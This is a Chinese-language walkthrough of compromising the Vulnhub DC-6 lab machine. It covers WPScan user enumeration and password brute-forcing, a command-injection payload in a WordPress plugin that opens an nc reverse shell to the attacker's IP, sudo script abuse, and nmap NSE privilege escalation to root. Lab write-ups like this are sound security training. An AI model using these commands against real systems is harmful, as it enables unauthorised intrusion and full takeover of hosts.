[Vulnhub] DC-6靶机渗透

0x00 环境搭建

靶机地址：http://www.vulnhub.com/entry/dc-6,315/
下载之后用vmware打开即可，使用桥接模式。
开机后搭建完成：

本关只有一个flag，且需要修改hosts文件访问：192.168.1.147 wordy

---

0x01 主机端口探测

用arp-scan -l探测内网存活主机，再用nmap -sV -p- ip来探测端口：

发现开启了80端口（HTTP服务）和22端口（SSH服务）

---

0x02 web渗透

访问80端口，发现又是WordPress：
扫了一下只发现了一些目录遍历漏洞，没什么利用价值。

直接用WPScan枚举用户：wpscan --url http://wordy/ --enumerate u

暴破密码：wpscan --url http://wordy -e u --passwords /usr/share/wordlists/rockyou.txt

登录后台发现插件Activity monitor：
查找相关漏洞：
查看利用方式：
访问漏洞页面，输入ip点击抓包：

写入payload：baidu.com| nc -e /bin/bash 192.168.1.143 4444
攻击机监听，得到反弹shell：

获取交互式shell：python -c 'import pty;pty.spawn("/bin/bash")'

在 jens 家目录下发现一个可执行脚本，但没有权限：

在 mark 的家目录下发现提示 garham用户密码：

---

0x03 SSH远程连接

ssh 登录 graham用户：

使用sudo -l，发现可以以 jens 用户免密执行backup.sh脚本：

可以让 jens 执行/bin/bash就直接得到了 jens 的 shell：

echo "/bin/bash" > backups.sh
sudo -u jens ./backups.sh

---

0x04 nmap提权

nmap有执行脚本的功能，通过编写特殊脚本，可以实现利用nmap提权（sudo提权）

sudo -l查看当前用户可以以 root 身份免密执行 nmap 命令：

写入一个执行bash的nmap脚本，运行

echo "os.execute('/bin/bash')" > /tmp/root.nse
sudo nmap --script=/tmp/root.nse

找到最终flag（这里输入的命令看不到）：

---

总结

整体流程如下：
主机发现 => 端口扫描 => 访问web服务 => 暴破登录 => 利用已知漏洞RCE => nc反弹shell => 切换用户 => nmap提权 => 找到最终flag

学习了 sudo 提权，当前用户能以其他用户身份免密执行脚本时，将/bin/bash写入脚本中，令其执行，就可以获得过该用户的权限。

---

参考链接：
https://www.cnblogs.com/bingtang123/p/12838419.html（VulnHub::DC-6）